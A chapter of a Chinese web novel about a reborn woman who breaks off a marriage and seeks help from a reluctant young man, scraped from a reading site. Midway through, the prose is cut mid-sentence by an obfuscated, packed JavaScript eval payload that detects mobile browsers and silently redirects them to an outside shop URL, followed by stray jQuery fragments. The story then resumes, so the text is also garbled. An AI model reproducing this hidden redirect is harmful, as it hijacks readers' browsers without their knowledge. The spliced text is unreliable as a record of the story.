文趣网 > 都市小说 > 恶犬驯养指南 > 3. 003
    茶具是骆文漪从泉州带过来的,梅花白瓷的壶与杯,外壁雕刻着祥云与鹤,清亮的茶汤在里面晶莹剔透,骆文漪亲自把茶递到薛鸣野面前。

    薛鸣野双手接过,偷偷抬眼看了下骆文漪,又低头喝茶,不小心一饮而尽,懊悔地握着茶杯。

    骆文漪没让他尴尬,从容地给他添水,问:“那晚,你怎么会在山林?”

    “我原本是在青州玩的,这不是回来祝贺你与薛鸣易大婚。”

    薛鸣野散漫地坐着,处处透着轻松,只是握着茶杯的手,略显局促。

    骆文漪微吸一口气,抬眼见天光,映着少年俊朗的面容,停滞片刻。

    这说得通,前世她成婚前,确实听说薛鸣野去了青州,所以她认为薛鸣野没有重生。

    可县主又为何会出现在那?就不得而知了。

    骆文漪缓缓放下茶杯,“不管怎么说,还是要谢谢你,不过,恐怕要让你跑空了。”

    薛鸣野看不出神情,仿佛这一切都与他无关。

    “我不嫁他了。”

    薛鸣野呆愣在那。

    不知为何,当他听到这句话时,心脏不受控制地疯狂跳动。

    像是要死了一样。

    薛鸣野不明白自己为何会这样。

    他本不该这样。

    “这跟我有什么关系?”许是察觉自己的态度太过生硬,薛鸣野清了清嗓:“那你是什么意思?”

    骆文漪抿了抿唇,从心底翻找出委屈化作泪水,眼眸泛起波光潋滟的水雾,看得薛鸣野一愣。

    “我出了这么大的事,侯府合该出来寻人了,却丝毫没有动静...”

    说到动情之处,骆文漪眼窝溢出泪来,她掩面擦掉泪花,“可见,侯府也不是什么良善之家,不然怎会如此绝情?”

    薛鸣野没有耐心听骆文漪哭唧唧地诉苦,皱眉问道,:“那你想怎样?”

    骆文漪知道,她嫁过来认识的薛鸣野,就是这样,急躁没耐心易炸毛。

    那时她做为侯府的新妇,还真是尽职尽责,不仅孝敬公婆,体恤丈夫,更是善待薛家子孙,费了好大的劲,才让薛鸣野通些人性。

    薛鸣野从小养在郊外宅子里,身边尽是眼线,处处是足以致命的陷阱,心要是不硬点,人要是再不疯点,早被算计死了。

    可心再硬也承受不住美人落泪,就算他的心是冰是石,骆文漪的眼泪,也能一滴一滴地砸出坑洼。

    骆文漪吸了吸鼻子,声音像是天边的云,轻飘飘的,软绵绵的,“我想,要你帮我。”

    薛鸣野眸光颤动,停住玩弄手中的茶杯,看着双眼通红美人,心底掀起一阵说不出来的异样酸痒。

    骆文漪见他没说话,但她从他微微颤动的眸光中,她这招对薛鸣野是有用的,又添油加醋吸了吸鼻子,忍着哭腔擦眼泪。

    薛鸣野沉吟良久,忽然嗤笑,:“我凭什么帮你?”

    骆文漪轻叹一口气,她刚认识薛鸣野的时候,他确实就是这么不近人情。

    “我有钱。”骆文漪开出任谁都无法拒绝的条件,“可以帮你做任何你想做的事。”

    薛鸣野晶莹如宝石的双眸,打量着眼前的女人。

    伤成这样,还非要逞能去走路,明明下定决心远嫁,偏偏又执意退婚,明明知道他是什么样的人,还愿相信他。

    真是奇怪。

    “你先养好伤再说吧。”薛鸣野抬了抬下颌,放下茶杯,头也不回地走出去,有点急促。

    骆文漪看着薛鸣野离去的背影,瞬时收住眼泪,神态自若。

    孙嬷嬷将煮好的茶,放到骆文漪手边,“姑娘,我看那个三郎也不是什么正经人,咱又何必寄希望于他?”

    骆文漪抿了口茶,“嬷嬷,你替我找笔墨纸砚来,我要给泉州写信。”

    前世侯府看管得严,她受委屈时,不是没给家里寄过信,可很少有回信,后来发现这些信都被薛鸣易藏起来,根本没寄出去过,她哭闹也无济于事,病了一场又一场,以至于到最后,根本没心力去想着向家人求救。

    这次她执意要远嫁,是偷跑出来的,父亲不知,母亲倒是知情,才纵着她拿嫁妆偷跑出来,还有堂哥护送一程。

    前世她就是一门心思跳进这火坑,连头都不回,所以后来父亲盛怒,就连成婚仪式也没来参加,所以她必须,写信,道歉,求救,脱困。

    可拿起笔,一时间委屈梗在心头,她还要小心措辞,既讲述遭遇山匪的事,又不吓到家里人,既让他们知道自己的处境,又不能露出破绽。

    本以为学着从前撒娇语气很难,可还是洋洋洒洒地写了三张信纸,到最后草草结尾,她对父亲思念太深,怕再多写就要露馅。

    骆文漪写得认真,完全忽略掉手上的伤,额头浸出一层汗水,停下来才后知后觉地疼。

    孙嬷嬷在一旁担忧地看着,本想提醒,可看骆文漪实在太专注,就没敢打扰,当她放下笔的那一刻,立马用锦帕为她擦汗。

    “嬷嬷,这封是寄回泉州的。”骆文漪又拿出来一封信,“这封寄往荣锦驿站。”

    孙嬷嬷一手分别拿着信,立马明白怎么回事。

    此番远嫁,娘家并不是没人来护送。

    骆文漪是家中独女,但有一个大伯,上面还有两个堂哥,大哥出海未归,来护送的就是二哥骆玉琢。

    骆文漪本就是偷跑出来的,路上与二哥大吵一架,两人互不相让,说了赌气的话,分道扬镳了。

    仔细想想,骆文漪已经想不起来,与二哥到底发生什么,她年轻时确实气盛,但如今不是了。

    在侯府十年,磨炼得她成熟稳重许多,算着时间,这信加急送到荣锦驿站,刚好能送到二哥手上。

    “好,姑娘,我这就去。”

    孙嬷嬷出门,刚好撞见薛鸣野,他沉声问:“去哪儿?”

    “老奴去帮姑娘做事。”孙嬷嬷皮笑肉不笑,她做好先礼后兵的准备,若是眼前这人敢阻拦,她就豁出一张老脸,说什么也不管用,她就是要把这信送出去。

    没想到,薛鸣野目光扫过她手中的信,侧身让开了。

    孙嬷嬷嘴角笑容一滞,擦肩而过,没看到薛鸣野正透过半开的窗户,往里看去。

    窗户缝隙透过斑驳的阳光,落在骆文漪身上,她唇色发白,无力地靠在墙上,屏吸忍痛,颈窝续着一层薄汗,莹莹发亮,白纱布的指尖蘸着墨水,一看就是不顾手伤写的信。

    薛鸣野心尖没来由地一顿,眉间一皱,眼底满是嫌弃,“笨蛋。”

    逞强就是笨蛋,笨归笨,但却是美人。

    薛鸣野心头一震,移开视线,春风引蝶,一只玄色白花的蝴蝶,落在窗棂间,扑闪着翅膀。

    因为他从小没人陪,所以喜欢养些小动物,后花园有间花房,养了许多蝴蝶。

    “叛徒。”薛鸣野想抬手把那只蝴蝶拍走,转而看了看骆文漪,默默地收回手。

    当骆文漪睁开眼,刚好看到一闪而过的人影,还有落在窗棂上的蝴蝶,朝她飞过来,她轻轻抬手,蝴蝶落在玉指上,像是吻了吻她的指尖。

    骆文漪收起柔弱的神情,忽然想到,薛鸣野有一个花房,此刻春意正浓,适合去逛逛。

    -

    风和日丽的某日。

    花房在后花园中,是一座南向朝阳高敞的木构暖房,蜜色

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17701098|208177||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    日光顺着明瓦长窗,斜斜淌入,在青石板地投下细密的格纹,落在中间的花架上。

    架上分畦列盆,上面花开得正娇艳,花被主人侍弄得很好,花房四周有整面墙那么大的玻璃花景,里面是五彩斑斓,各式各样的蝴蝶。

    骆文漪拄着拐,拐杖点过凹凸不平的石板,站在中央,背对着门口,不为别的,这里的阳光正好,某人从门口进来,刚好能看到她身量纤纤的一抹倩影。

    她微微抬眼,视线正好穿过花丛,落在满墙的蝴蝶上,灵动的蝴蝶勾起她的记忆。

    模糊的记忆中,她穿着素色衣裙,湛蓝裙边如泛起的海浪,身旁站着一抹不同寻常的亮色身影,修长的手指上,站着一只黑色白花的蝴蝶。

    “这是玉带凤蝶,雄蝶后翅的长白斑纹如玉带,雌蝶后翅红斑纹如玫瑰,世人也称其为梁祝蝶...”

    殉情化蝶,比翼双飞。

    骆文漪想得正出神,听到脚步声,没有着急回头,而是算着距离,猛然回身,撞入碧玉色眼眸,她倒吸一口凉气,拐杖又一滑没站稳,好在薛鸣野将她及时扶住。

    “你还真是,明明站不稳,还要走这么远...”薛鸣野皱眉抱怨时,正好看到骆文漪楚楚可怜的神情,眉间瞬时舒展。

    算了,他跟一个病人计较什么?

    他不知道,这次骆文漪是故意站不稳的。

    薛鸣野松开她的手,心中没来由的烦躁,他紧了紧牙关,尽量不让语气显得生硬,说出的话却显得不近人情,“你和侯府的恩怨,我不想管,我在城中,替你租了间院子,你先住进去,总住在我这算怎么回事?”

    “是三郎,你说得对,你先答应我几个请求,我立马搬走。”

    “你说。”

    “其一,我给家中寄信,堂哥会来此寻我,若是有骆姓男子来你这院子寻我,请你务必告诉他我的住处。”

    “嗯。”

    “其二,我暂时还不想让侯府知道我的踪迹,所以我想偷偷进城。”

    “嗯。”薛鸣野越发不耐烦。

    “其三,我的嫁妆,可不可以暂存你这?我在华京举目无亲,只能拜托你了。”

    薛鸣野用舌尖顶了顶腮,嘴角勾起一抹不明所以地笑,“那若是让侯府发现,这嫁妆藏在我这,算怎么回事?”

    “不会的。”骆文漪抬眼真诚地说道,“他们怎么会想到搜你这...”

    侯府怎么能想到是薛鸣野救了她?

    且不说侯府想不到是薛鸣野救了她,更何况侯府上下除了那尚存良心的爹,都视薛鸣野为煞星,各个避而远之,许是这一点,触碰到了薛鸣野的怒点,他决绝地说道:“前两个我可以答应你,最后一个,不行。”

    骆文漪垂眸可怜,清风托起她鬓边长发,吹到一边,勾勒出几分凄惨,映着眼眶的一抹红,委屈出哭腔:“你若嫌麻烦,就扔了吧。”

    说完,骆文漪倔强地拄着拐,就往外走,凹凸不平的地面,就算打滑也不肯回头。

    薛鸣野看着那笨拙又倔强的背影,指尖无意识地攥紧,眉峰紧蹙,满心都是挥之不去的烦躁与无力。

    这哪是拜托,分明是硬塞给他,他还能真把真金白银都扔到荒林里去?

    骆文漪外表看似柔弱可怜,实则绒毛里爪子锋利着呢,若是被外表所迷惑,想要逗弄逗弄,势必要被抓一道血痕。

    明明知道骆文漪是这样。

    薛鸣野深吸一口气,缓缓吐出两个字。

    “……难缠。”

    被辜负真心的女子,心都是死的,人心死了,是很可怕的,指不定做出什么疯事。

    他得尽快摆脱这个麻烦。